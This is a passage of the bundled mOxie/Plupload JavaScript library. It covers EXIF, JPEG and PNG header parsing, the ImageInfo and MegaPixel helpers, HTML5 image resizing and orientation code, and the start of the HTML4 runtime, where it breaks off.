				0x000F: 'Flash fired, compulsory flash mode, return light detected',
				0x0010: 'Flash did not fire, compulsory flash mode',
				0x0018: 'Flash did not fire, auto mode',
				0x0019: 'Flash fired, auto mode',
				0x001D: 'Flash fired, auto mode, return light not detected',
				0x001F: 'Flash fired, auto mode, return light detected',
				0x0020: 'No flash function',
				0x0041: 'Flash fired, red-eye reduction mode',
				0x0045: 'Flash fired, red-eye reduction mode, return light not detected',
				0x0047: 'Flash fired, red-eye reduction mode, return light detected',
				0x0049: 'Flash fired, compulsory flash mode, red-eye reduction mode',
				0x004D: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected',
				0x004F: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light detected',
				0x0059: 'Flash fired, auto mode, red-eye reduction mode',
				0x005D: 'Flash fired, auto mode, return light not detected, red-eye reduction mode',
				0x005F: 'Flash fired, auto mode, return light detected, red-eye reduction mode'
			},

			'ExposureMode': {
				0: 'Auto exposure',
				1: 'Manual exposure',
				2: 'Auto bracket'
			},

			'WhiteBalance': {
				0: 'Auto white balance',
				1: 'Manual white balance'
			},

			'SceneCaptureType': {
				0: 'Standard',
				1: 'Landscape',
				2: 'Portrait',
				3: 'Night scene'
			},

			'Contrast': {
				0: 'Normal',
				1: 'Soft',
				2: 'Hard'
			},

			'Saturation': {
				0: 'Normal',
				1: 'Low saturation',
				2: 'High saturation'
			},

			'Sharpness': {
				0: 'Normal',
				1: 'Soft',
				2: 'Hard'
			},

			// GPS related
			'GPSLatitudeRef': {
				N: 'North latitude',
				S: 'South latitude'
			},

			'GPSLongitudeRef': {
				E: 'East longitude',
				W: 'West longitude'
			}
		};

		offsets = {
			tiffHeader: 10
		};
		
		idx = offsets.tiffHeader;

		__super__ = {
			clear: this.clear
		};

		// Public functions
		Basic.extend(this, {
			
			read: function() {
				try {
					return ExifParser.prototype.read.apply(this, arguments);
				} catch (ex) {
					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
				}
			},


			write: function() {
				try {
					return ExifParser.prototype.write.apply(this, arguments);
				} catch (ex) {
					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
				}
			},


			UNDEFINED: function() {
				return this.BYTE.apply(this, arguments);
			},


			RATIONAL: function(idx) {
				return this.LONG(idx) / this.LONG(idx + 4)
			},


			SRATIONAL: function(idx) {
				return this.SLONG(idx) / this.SLONG(idx + 4)
			},

			ASCII: function(idx) {
				return this.CHAR(idx);
			},

			TIFF: function() {
				return Tiff || null;
			},


			EXIF: function() {
				var Exif = null;

				if (offsets.exifIFD) {
					try {
						Exif = extractTags.call(this, offsets.exifIFD, tags.exif);
					} catch(ex) {
						return null;
					}

					// Fix formatting of some tags
					if (Exif.ExifVersion && Basic.typeOf(Exif.ExifVersion) === 'array') {
						for (var i = 0, exifVersion = ''; i < Exif.ExifVersion.length; i++) {
							exifVersion += String.fromCharCode(Exif.ExifVersion[i]);
						}
						Exif.ExifVersion = exifVersion;
					}
				}

				return Exif;
			},


			GPS: function() {
				var GPS = null;

				if (offsets.gpsIFD) {
					try {
						GPS = extractTags.call(this, offsets.gpsIFD, tags.gps);
					} catch (ex) {
						return null;
					}

					// iOS devices (and probably some others) do not put in GPSVersionID tag (why?..)
					if (GPS.GPSVersionID && Basic.typeOf(GPS.GPSVersionID) === 'array') {
						GPS.GPSVersionID = GPS.GPSVersionID.join('.');
					}
				}

				return GPS;
			},


			thumb: function() {
				if (offsets.IFD1) {
					try {
						var IFD1Tags = extractTags.call(this, offsets.IFD1, tags.thumb);
						
						if ('JPEGInterchangeFormat' in IFD1Tags) {
							return this.SEGMENT(offsets.tiffHeader + IFD1Tags.JPEGInterchangeFormat, IFD1Tags.JPEGInterchangeFormatLength);
						}
					} catch (ex) {}
				}
				return null;
			},


			setExif: function(tag, value) {
				// Right now only setting of width/height is possible
				if (tag !== 'PixelXDimension' && tag !== 'PixelYDimension') { return false; }

				return setTag.call(this, 'exif', tag, value);
			},


			clear: function() {
				__super__.clear();
				data = tags = tagDescs = Tiff = offsets = __super__ = null;
			}
		});


		// Check if that's APP1 and that it has EXIF
		if (this.SHORT(0) !== 0xFFE1 || this.STRING(4, 5).toUpperCase() !== "EXIF\0") {
			throw new x.ImageError(x.ImageError.INVALID_META_ERR);
		}

		// Set read order of multi-byte data
		this.littleEndian = (this.SHORT(idx) == 0x4949);

		// Check if always present bytes are indeed present
		if (this.SHORT(idx+=2) !== 0x002A) {
			throw new x.ImageError(x.ImageError.INVALID_META_ERR);
		}

		offsets.IFD0 = offsets.tiffHeader + this.LONG(idx += 2);
		Tiff = extractTags.call(this, offsets.IFD0, tags.tiff);

		if ('ExifIFDPointer' in Tiff) {
			offsets.exifIFD = offsets.tiffHeader + Tiff.ExifIFDPointer;
			delete Tiff.ExifIFDPointer;
		}

		if ('GPSInfoIFDPointer' in Tiff) {
			offsets.gpsIFD = offsets.tiffHeader + Tiff.GPSInfoIFDPointer;
			delete Tiff.GPSInfoIFDPointer;
		}

		if (Basic.isEmptyObj(Tiff)) {
			Tiff = null;
		}

		// check if we have a thumb as well
		var IFD1Offset = this.LONG(offsets.IFD0 + this.SHORT(offsets.IFD0) * 12 + 2);
		if (IFD1Offset) {
			offsets.IFD1 = offsets.tiffHeader + IFD1Offset;
		}


		function extractTags(IFD_offset, tags2extract) {
			var data = this;
			var length, i, tag, type, count, size, offset, value, values = [], hash = {};
			
			var types = {
				1 : 'BYTE',
				7 : 'UNDEFINED',
				2 : 'ASCII',
				3 : 'SHORT',
				4 : 'LONG',
				5 : 'RATIONAL',
				9 : 'SLONG',
				10: 'SRATIONAL'
			};

			var sizes = {
				'BYTE' 		: 1,
				'UNDEFINED'	: 1,
				'ASCII'		: 1,
				'SHORT'		: 2,
				'LONG' 		: 4,
				'RATIONAL' 	: 8,
				'SLONG'		: 4,
				'SRATIONAL'	: 8
			};

			length = data.SHORT(IFD_offset);

			// The size of APP1 including all these elements shall not exceed the 64 Kbytes specified in the JPEG standard.

			for (i = 0; i < length; i++) {
				values = [];

				// Set binary reader pointer to beginning of the next tag
				offset = IFD_offset + 2 + i*12;

				tag = tags2extract[data.SHORT(offset)];

				if (tag === undefined) {
					continue; // Not the tag we requested
				}

				type = types[data.SHORT(offset+=2)];
				count = data.LONG(offset+=2);
				size = sizes[type];

				if (!size) {
					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
				}

				offset += 4;

				// tag can only fit 4 bytes of data, if data is larger we should look outside
				if (size * count > 4) {
					// instead of data tag contains an offset of the data
					offset = data.LONG(offset) + offsets.tiffHeader;
				}

				// in case we left the boundaries of data throw an early exception
				if (offset + size * count >= this.length()) {
					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
				} 

				// special care for the string
				if (type === 'ASCII') {
					hash[tag] = Basic.trim(data.STRING(offset, count).replace(/\0$/, '')); // strip trailing NULL
					continue;
				} else {
					values = data.asArray(type, offset, count);
					value = (count == 1 ? values[0] : values);

					if (tagDescs.hasOwnProperty(tag) && typeof value != 'object') {
						hash[tag] = tagDescs[tag][value];
					} else {
						hash[tag] = value;
					}
				}
			}

			return hash;
		}

		// At the moment only setting of simple (LONG) values, that do not require offset recalculation, is supported
		function setTag(ifd, tag, value) {
			var offset, length, tagOffset, valueOffset = 0;

			// If tag name passed translate into hex key
			if (typeof(tag) === 'string') {
				var tmpTags = tags[ifd.toLowerCase()];
				for (var hex in tmpTags) {
					if (tmpTags[hex] === tag) {
						tag = hex;
						break;
					}
				}
			}
			offset = offsets[ifd.toLowerCase() + 'IFD'];
			length = this.SHORT(offset);

			for (var i = 0; i < length; i++) {
				tagOffset = offset + 12 * i + 2;

				if (this.SHORT(tagOffset) == tag) {
					valueOffset = tagOffset + 8;
					break;
				}
			}

			if (!valueOffset) {
				return false;
			}

			try {
				this.write(valueOffset, value, 4);
			} catch(ex) {
				return false;
			}

			return true;
		}
	}

	ExifParser.prototype = BinaryReader.prototype;

	return ExifParser;
});

// Included from: src/javascript/runtime/html5/image/JPEG.js

/**
 * JPEG.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/image/JPEG
@private
*/
define("moxie/runtime/html5/image/JPEG", [
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/runtime/html5/image/JPEGHeaders",
	"moxie/runtime/html5/utils/BinaryReader",
	"moxie/runtime/html5/image/ExifParser"
], function(Basic, x, JPEGHeaders, BinaryReader, ExifParser) {
	
	function JPEG(data) {
		var _br, _hm, _ep, _info;

		_br = new BinaryReader(data);

		// check if it is jpeg
		if (_br.SHORT(0) !== 0xFFD8) {
			throw new x.ImageError(x.ImageError.WRONG_FORMAT);
		}

		// backup headers
		_hm = new JPEGHeaders(data);

		// extract exif info
		try {
			_ep = new ExifParser(_hm.get('app1')[0]);
		} catch(ex) {}

		// get dimensions
		_info = _getDimensions.call(this);

		Basic.extend(this, {
			type: 'image/jpeg',

			size: _br.length(),

			width: _info && _info.width || 0,

			height: _info && _info.height || 0,

			setExif: function(tag, value) {
				if (!_ep) {
					return false; // or throw an exception
				}

				if (Basic.typeOf(tag) === 'object') {
					Basic.each(tag, function(value, tag) {
						_ep.setExif(tag, value);
					});
				} else {
					_ep.setExif(tag, value);
				}

				// update internal headers
				_hm.set('app1', _ep.SEGMENT());
			},

			writeHeaders: function() {
				if (!arguments.length) {
					// if no arguments passed, update headers internally
					return _hm.restore(data);
				}
				return _hm.restore(arguments[0]);
			},

			stripHeaders: function(data) {
				return _hm.strip(data);
			},

			purge: function() {
				_purge.call(this);
			}
		});

		if (_ep) {
			this.meta = {
				tiff: _ep.TIFF(),
				exif: _ep.EXIF(),
				gps: _ep.GPS(),
				thumb: _getThumb()
			};
		}


		function _getDimensions(br) {
			var idx = 0
			, marker
			, length
			;

			if (!br) {
				br = _br;
			}

			// examine all through the end, since some images might have very large APP segments
			while (idx <= br.length()) {
				marker = br.SHORT(idx += 2);

				if (marker >= 0xFFC0 && marker <= 0xFFC3) { // SOFn
					idx += 5; // marker (2 bytes) + length (2 bytes) + Sample precision (1 byte)
					return {
						height: br.SHORT(idx),
						width: br.SHORT(idx += 2)
					};
				}
				length = br.SHORT(idx += 2);
				idx += length - 2;
			}
			return null;
		}


		function _getThumb() {
			var data =  _ep.thumb()
			, br
			, info
			;

			if (data) {
				br = new BinaryReader(data);
				info = _getDimensions(br);
				br.clear();

				if (info) {
					info.data = data;
					return info;
				}
			}
			return null;
		}


		function _purge() {
			if (!_ep || !_hm || !_br) { 
				return; // ignore any repeating purge requests
			}
			_ep.clear();
			_hm.purge();
			_br.clear();
			_info = _hm = _ep = _br = null;
		}
	}

	return JPEG;
});

// Included from: src/javascript/runtime/html5/image/PNG.js

/**
 * PNG.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/image/PNG
@private
*/
define("moxie/runtime/html5/image/PNG", [
	"moxie/core/Exceptions",
	"moxie/core/utils/Basic",
	"moxie/runtime/html5/utils/BinaryReader"
], function(x, Basic, BinaryReader) {
	
	function PNG(data) {
		var _br, _hm, _ep, _info;

		_br = new BinaryReader(data);

		// check if it's png
		(function() {
			var idx = 0, i = 0
			, signature = [0x8950, 0x4E47, 0x0D0A, 0x1A0A]
			;

			for (i = 0; i < signature.length; i++, idx += 2) {
				if (signature[i] != _br.SHORT(idx)) {
					throw new x.ImageError(x.ImageError.WRONG_FORMAT);
				}
			}
		}());

		function _getDimensions() {
			var chunk, idx;

			chunk = _getChunkAt.call(this, 8);

			if (chunk.type == 'IHDR') {
				idx = chunk.start;
				return {
					width: _br.LONG(idx),
					height: _br.LONG(idx += 4)
				};
			}
			return null;
		}

		function _purge() {
			if (!_br) {
				return; // ignore any repeating purge requests
			}
			_br.clear();
			data = _info = _hm = _ep = _br = null;
		}

		_info = _getDimensions.call(this);

		Basic.extend(this, {
			type: 'image/png',

			size: _br.length(),

			width: _info.width,

			height: _info.height,

			purge: function() {
				_purge.call(this);
			}
		});

		// for PNG we can safely trigger purge automatically, as we do not keep any data for later
		_purge.call(this);

		function _getChunkAt(idx) {
			var length, type, start, CRC;

			length = _br.LONG(idx);
			type = _br.STRING(idx += 4, 4);
			start = idx += 4;
			CRC = _br.LONG(idx + length);

			return {
				length: length,
				type: type,
				start: start,
				CRC: CRC
			};
		}
	}

	return PNG;
});

// Included from: src/javascript/runtime/html5/image/ImageInfo.js

/**
 * ImageInfo.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/image/ImageInfo
@private
*/
define("moxie/runtime/html5/image/ImageInfo", [
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/runtime/html5/image/JPEG",
	"moxie/runtime/html5/image/PNG"
], function(Basic, x, JPEG, PNG) {
	/**
	Optional image investigation tool for HTML5 runtime. Provides the following features:
	- ability to distinguish image type (JPEG or PNG) by signature
	- ability to extract image width/height directly from it's internals, without preloading in memory (fast)
	- ability to extract APP headers from JPEGs (Exif, GPS, etc)
	- ability to replace width/height tags in extracted JPEG headers
	- ability to restore APP headers, that were for example stripped during image manipulation

	@class ImageInfo
	@constructor
	@param {String} data Image source as binary string
	*/
	return function(data) {
		var _cs = [JPEG, PNG], _img;

		// figure out the format, throw: ImageError.WRONG_FORMAT if not supported
		_img = (function() {
			for (var i = 0; i < _cs.length; i++) {
				try {
					return new _cs[i](data);
				} catch (ex) {
					// console.info(ex);
				}
			}
			throw new x.ImageError(x.ImageError.WRONG_FORMAT);
		}());

		Basic.extend(this, {
			/**
			Image Mime Type extracted from it's depths

			@property type
			@type {String}
			@default ''
			*/
			type: '',

			/**
			Image size in bytes

			@property size
			@type {Number}
			@default 0
			*/
			size: 0,

			/**
			Image width extracted from image source

			@property width
			@type {Number}
			@default 0
			*/
			width: 0,

			/**
			Image height extracted from image source

			@property height
			@type {Number}
			@default 0
			*/
			height: 0,

			/**
			Sets Exif tag. Currently applicable only for width and height tags. Obviously works only with JPEGs.

			@method setExif
			@param {String} tag Tag to set
			@param {Mixed} value Value to assign to the tag
			*/
			setExif: function() {},

			/**
			Restores headers to the source.

			@method writeHeaders
			@param {String} data Image source as binary string
			@return {String} Updated binary string
			*/
			writeHeaders: function(data) {
				return data;
			},

			/**
			Strip all headers from the source.

			@method stripHeaders
			@param {String} data Image source as binary string
			@return {String} Updated binary string
			*/
			stripHeaders: function(data) {
				return data;
			},

			/**
			Dispose resources.

			@method purge
			*/
			purge: function() {
				data = null;
			}
		});

		Basic.extend(this, _img);

		this.purge = function() {
			_img.purge();
			_img = null;
		};
	};
});

// Included from: src/javascript/runtime/html5/image/MegaPixel.js

/**
(The MIT License)

Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>;

Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
'Software'), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/

/**
 * Mega pixel image rendering library for iOS6 Safari
 *
 * Fixes iOS6 Safari's image file rendering issue for large size image (over mega-pixel),
 * which causes unexpected subsampling when drawing it in canvas.
 * By using this library, you can safely render the image with proper stretching.
 *
 * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>
 * Released under the MIT license
 */

/**
@class moxie/runtime/html5/image/MegaPixel
@private
*/
define("moxie/runtime/html5/image/MegaPixel", [], function() {

	/**
	 * Rendering image element (with resizing) into the canvas element
	 */
	function renderImageToCanvas(img, canvas, options) {
		var iw = img.naturalWidth, ih = img.naturalHeight;
		var width = options.width, height = options.height;
		var x = options.x || 0, y = options.y || 0;
		var ctx = canvas.getContext('2d');
		if (detectSubsampling(img)) {
			iw /= 2;
			ih /= 2;
		}
		var d = 1024; // size of tiling canvas
		var tmpCanvas = document.createElement('canvas');
		tmpCanvas.width = tmpCanvas.height = d;
		var tmpCtx = tmpCanvas.getContext('2d');
		var vertSquashRatio = detectVerticalSquash(img, iw, ih);
		var sy = 0;
		while (sy < ih) {
			var sh = sy + d > ih ? ih - sy : d;
			var sx = 0;
			while (sx < iw) {
				var sw = sx + d > iw ? iw - sx : d;
				tmpCtx.clearRect(0, 0, d, d);
				tmpCtx.drawImage(img, -sx, -sy);
				var dx = (sx * width / iw + x) << 0;
				var dw = Math.ceil(sw * width / iw);
				var dy = (sy * height / ih / vertSquashRatio + y) << 0;
				var dh = Math.ceil(sh * height / ih / vertSquashRatio);
				ctx.drawImage(tmpCanvas, 0, 0, sw, sh, dx, dy, dw, dh);
				sx += d;
			}
			sy += d;
		}
		tmpCanvas = tmpCtx = null;
	}

	/**
	 * Detect subsampling in loaded image.
	 * In iOS, larger images than 2M pixels may be subsampled in rendering.
	 */
	function detectSubsampling(img) {
		var iw = img.naturalWidth, ih = img.naturalHeight;
		if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image
			var canvas = document.createElement('canvas');
			canvas.width = canvas.height = 1;
			var ctx = canvas.getContext('2d');
			ctx.drawImage(img, -iw + 1, 0);
			// subsampled image becomes half smaller in rendering size.
			// check alpha channel value to confirm image is covering edge pixel or not.
			// if alpha value is 0 image is not covering, hence subsampled.
			return ctx.getImageData(0, 0, 1, 1).data[3] === 0;
		} else {
			return false;
		}
	}


	/**
	 * Detecting vertical squash in loaded image.
	 * Fixes a bug which squash image vertically while drawing into canvas for some images.
	 */
	function detectVerticalSquash(img, iw, ih) {
		var canvas = document.createElement('canvas');
		canvas.width = 1;
		canvas.height = ih;
		var ctx = canvas.getContext('2d');
		ctx.drawImage(img, 0, 0);
		var data = ctx.getImageData(0, 0, 1, ih).data;
		// search image edge pixel position in case it is squashed vertically.
		var sy = 0;
		var ey = ih;
		var py = ih;
		while (py > sy) {
			var alpha = data[(py - 1) * 4 + 3];
			if (alpha === 0) {
				ey = py;
			} else {
			sy = py;
			}
			py = (ey + sy) >> 1;
		}
		canvas = null;
		var ratio = (py / ih);
		return (ratio === 0) ? 1 : ratio;
	}

	return {
		isSubsampled: detectSubsampling,
		renderTo: renderImageToCanvas
	};
});

// Included from: src/javascript/runtime/html5/image/Image.js

/**
 * Image.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/image/Image
@private
*/
define("moxie/runtime/html5/image/Image", [
	"moxie/runtime/html5/Runtime",
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/core/utils/Encode",
	"moxie/file/Blob",
	"moxie/file/File",
	"moxie/runtime/html5/image/ImageInfo",
	"moxie/runtime/html5/image/MegaPixel",
	"moxie/core/utils/Mime",
	"moxie/core/utils/Env"
], function(extensions, Basic, x, Encode, Blob, File, ImageInfo, MegaPixel, Mime, Env) {
	
	function HTML5Image() {
		var me = this
		, _img, _imgInfo, _canvas, _binStr, _blob
		, _modified = false // is set true whenever image is modified
		, _preserveHeaders = true
		;

		Basic.extend(this, {
			loadFromBlob: function(blob) {
				var comp = this, I = comp.getRuntime()
				, asBinary = arguments.length > 1 ? arguments[1] : true
				;

				if (!I.can('access_binary')) {
					throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
				}

				_blob = blob;

				if (blob.isDetached()) {
					_binStr = blob.getSource();
					_preload.call(this, _binStr);
					return;
				} else {
					_readAsDataUrl.call(this, blob.getSource(), function(dataUrl) {
						if (asBinary) {
							_binStr = _toBinary(dataUrl);
						}
						_preload.call(comp, dataUrl);
					});
				}
			},

			loadFromImage: function(img, exact) {
				this.meta = img.meta;

				_blob = new File(null, {
					name: img.name,
					size: img.size,
					type: img.type
				});

				_preload.call(this, exact ? (_binStr = img.getAsBinaryString()) : img.getAsDataURL());
			},

			getInfo: function() {
				var I = this.getRuntime(), info;

				if (!_imgInfo && _binStr && I.can('access_image_binary')) {
					_imgInfo = new ImageInfo(_binStr);
				}

				info = {
					width: _getImg().width || 0,
					height: _getImg().height || 0,
					type: _blob.type || Mime.getFileMime(_blob.name),
					size: _binStr && _binStr.length || _blob.size || 0,
					name: _blob.name || '',
					meta: _imgInfo && _imgInfo.meta || this.meta || {}
				};

				// store thumbnail data as blob
				if (info.meta && info.meta.thumb && !(info.meta.thumb.data instanceof Blob)) {
					info.meta.thumb.data = new Blob(null, {
						type: 'image/jpeg',
						data: info.meta.thumb.data
					});
				}

				return info;
			},

			downsize: function() {
				_downsize.apply(this, arguments);
			},

			getAsCanvas: function() {
				if (_canvas) {
					_canvas.id = this.uid + '_canvas';
				}
				return _canvas;
			},

			getAsBlob: function(type, quality) {
				if (type !== this.type) {
					// if different mime type requested prepare image for conversion
					_downsize.call(this, this.width, this.height, false);
				}
				return new File(null, {
					name: _blob.name || '',
					type: type,
					data: me.getAsBinaryString.call(this, type, quality)
				});
			},

			getAsDataURL: function(type) {
				var quality = arguments[1] || 90;

				// if image has not been modified, return the source right away
				if (!_modified) {
					return _img.src;
				}

				if ('image/jpeg' !== type) {
					return _canvas.toDataURL('image/png');
				} else {
					try {
						// older Geckos used to result in an exception on quality argument
						return _canvas.toDataURL('image/jpeg', quality/100);
					} catch (ex) {
						return _canvas.toDataURL('image/jpeg');
					}
				}
			},

			getAsBinaryString: function(type, quality) {
				// if image has not been modified, return the source right away
				if (!_modified) {
					// if image was not loaded from binary string
					if (!_binStr) {
						_binStr = _toBinary(me.getAsDataURL(type, quality));
					}
					return _binStr;
				}

				if ('image/jpeg' !== type) {
					_binStr = _toBinary(me.getAsDataURL(type, quality));
				} else {
					var dataUrl;

					// if jpeg
					if (!quality) {
						quality = 90;
					}

					try {
						// older Geckos used to result in an exception on quality argument
						dataUrl = _canvas.toDataURL('image/jpeg', quality/100);
					} catch (ex) {
						dataUrl = _canvas.toDataURL('image/jpeg');
					}

					_binStr = _toBinary(dataUrl);

					if (_imgInfo) {
						_binStr = _imgInfo.stripHeaders(_binStr);

						if (_preserveHeaders) {
							// update dimensions info in exif
							if (_imgInfo.meta && _imgInfo.meta.exif) {
								_imgInfo.setExif({
									PixelXDimension: this.width,
									PixelYDimension: this.height
								});
							}

							// re-inject the headers
							_binStr = _imgInfo.writeHeaders(_binStr);
						}

						// will be re-created from fresh on next getInfo call
						_imgInfo.purge();
						_imgInfo = null;
					}
				}

				_modified = false;

				return _binStr;
			},

			destroy: function() {
				me = null;
				_purge.call(this);
				this.getRuntime().getShim().removeInstance(this.uid);
			}
		});


		function _getImg() {
			if (!_canvas && !_img) {
				throw new x.ImageError(x.DOMException.INVALID_STATE_ERR);
			}
			return _canvas || _img;
		}


		function _toBinary(str) {
			return Encode.atob(str.substring(str.indexOf('base64,') + 7));
		}


		function _toDataUrl(str, type) {
			return 'data:' + (type || '') + ';base64,' + Encode.btoa(str);
		}


		function _preload(str) {
			var comp = this;

			_img = new Image();
			_img.onerror = function() {
				_purge.call(this);
				comp.trigger('error', x.ImageError.WRONG_FORMAT);
			};
			_img.onload = function() {
				comp.trigger('load');
			};

			_img.src = str.substr(0, 5) == 'data:' ? str : _toDataUrl(str, _blob.type);
		}


		function _readAsDataUrl(file, callback) {
			var comp = this, fr;

			// use FileReader if it's available
			if (window.FileReader) {
				fr = new FileReader();
				fr.onload = function() {
					callback(this.result);
				};
				fr.onerror = function() {
					comp.trigger('error', x.ImageError.WRONG_FORMAT);
				};
				fr.readAsDataURL(file);
			} else {
				return callback(file.getAsDataURL());
			}
		}

		function _downsize(width, height, crop, preserveHeaders) {
			var self = this
			, scale
			, mathFn
			, x = 0
			, y = 0
			, img
			, destWidth
			, destHeight
			, orientation
			;

			_preserveHeaders = preserveHeaders; // we will need to check this on export (see getAsBinaryString())

			// take into account orientation tag
			orientation = (this.meta && this.meta.tiff && this.meta.tiff.Orientation) || 1;

			if (Basic.inArray(orientation, [5,6,7,8]) !== -1) { // values that require 90 degree rotation
				// swap dimensions
				var tmp = width;
				width = height;
				height = tmp;
			}

			img = _getImg();

			// unify dimensions
			if (!crop) {
				scale = Math.min(width/img.width, height/img.height);
			} else {
				// one of the dimensions may exceed the actual image dimensions - we need to take the smallest value
				width = Math.min(width, img.width);
				height = Math.min(height, img.height);

				scale = Math.max(width/img.width, height/img.height);
			}
		
			// we only downsize here
			if (scale > 1 && !crop && preserveHeaders) {
				this.trigger('Resize');
				return;
			}

			// prepare canvas if necessary
			if (!_canvas) {
				_canvas = document.createElement("canvas");
			}

			// calculate dimensions of proportionally resized image
			destWidth = Math.round(img.width * scale);	
			destHeight = Math.round(img.height * scale);

			// scale image and canvas
			if (crop) {
				_canvas.width = width;
				_canvas.height = height;

				// if dimensions of the resulting image still larger than canvas, center it
				if (destWidth > width) {
					x = Math.round((destWidth - width) / 2);
				}

				if (destHeight > height) {
					y = Math.round((destHeight - height) / 2);
				}
			} else {
				_canvas.width = destWidth;
				_canvas.height = destHeight;
			}

			// rotate if required, according to orientation tag
			if (!_preserveHeaders) {
				_rotateToOrientaion(_canvas.width, _canvas.height, orientation);
			}

			_drawToCanvas.call(this, img, _canvas, -x, -y, destWidth, destHeight);

			this.width = _canvas.width;
			this.height = _canvas.height;

			_modified = true;
			self.trigger('Resize');
		}


		function _drawToCanvas(img, canvas, x, y, w, h) {
			if (Env.OS === 'iOS') { 
				// avoid squish bug in iOS6
				MegaPixel.renderTo(img, canvas, { width: w, height: h, x: x, y: y });
			} else {
				var ctx = canvas.getContext('2d');
				ctx.drawImage(img, x, y, w, h);
			}
		}


		/**
		* Transform canvas coordination according to specified frame size and orientation
		* Orientation value is from EXIF tag
		* @author Shinichi Tomita <shinichi.tomita@gmail.com>
		*/
		function _rotateToOrientaion(width, height, orientation) {
			switch (orientation) {
				case 5:
				case 6:
				case 7:
				case 8:
					_canvas.width = height;
					_canvas.height = width;
					break;
				default:
					_canvas.width = width;
					_canvas.height = height;
			}

			/**
			1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
			2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
			3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
			4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
			5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
			6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
			7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
			8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
			*/

			var ctx = _canvas.getContext('2d');
			switch (orientation) {
				case 2:
					// horizontal flip
					ctx.translate(width, 0);
					ctx.scale(-1, 1);
					break;
				case 3:
					// 180 rotate left
					ctx.translate(width, height);
					ctx.rotate(Math.PI);
					break;
				case 4:
					// vertical flip
					ctx.translate(0, height);
					ctx.scale(1, -1);
					break;
				case 5:
					// vertical flip + 90 rotate right
					ctx.rotate(0.5 * Math.PI);
					ctx.scale(1, -1);
					break;
				case 6:
					// 90 rotate right
					ctx.rotate(0.5 * Math.PI);
					ctx.translate(0, -height);
					break;
				case 7:
					// horizontal flip + 90 rotate right
					ctx.rotate(0.5 * Math.PI);
					ctx.translate(width, -height);
					ctx.scale(-1, 1);
					break;
				case 8:
					// 90 rotate left
					ctx.rotate(-0.5 * Math.PI);
					ctx.translate(-width, 0);
					break;
			}
		}


		function _purge() {
			if (_imgInfo) {
				_imgInfo.purge();
				_imgInfo = null;
			}
			_binStr = _img = _canvas = _blob = null;
			_modified = false;
		}
	}

	return (extensions.Image = HTML5Image);
});

/**
 * Stub for moxie/runtime/flash/Runtime
 * @private
 */
define("moxie/runtime/flash/Runtime", [
], function() {
	return {};
});

/**
 * Stub for moxie/runtime/silverlight/Runtime
 * @private
 */
define("moxie/runtime/silverlight/Runtime", [
], function() {
	return {};
});

// Included from: src/javascript/runtime/html4/Runtime.js

/**
 * Runtime.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/*global File:true */

/**
Defines constructor for HTML4 runtime.

@class moxie/runtime/html4/Runtime
@private
*/
define("moxie/runtime/html4/Runtime", [
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/runtime/Runtime",
	"moxie/core/utils/Env"
], function(Basic, x, Runtime, Env) {
	
	var type = 'html4', extensions = {};

	function Html4Runtime(options) {
		var I = this
		, Test = Runtime.capTest
		, True = Runtime.capTrue
		;

		Runtime.call(this, options, type, {
			access_binary: Test(window.FileReader || window.File && File.getAsDataURL),
			access_image_binary: false,
			display_media: Test(extensions.Image && (Env.can('create_canvas') || Env.can('use_data_uri_over32kb'))),
			do_cors: false,
			drag_and_drop: false,
			filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
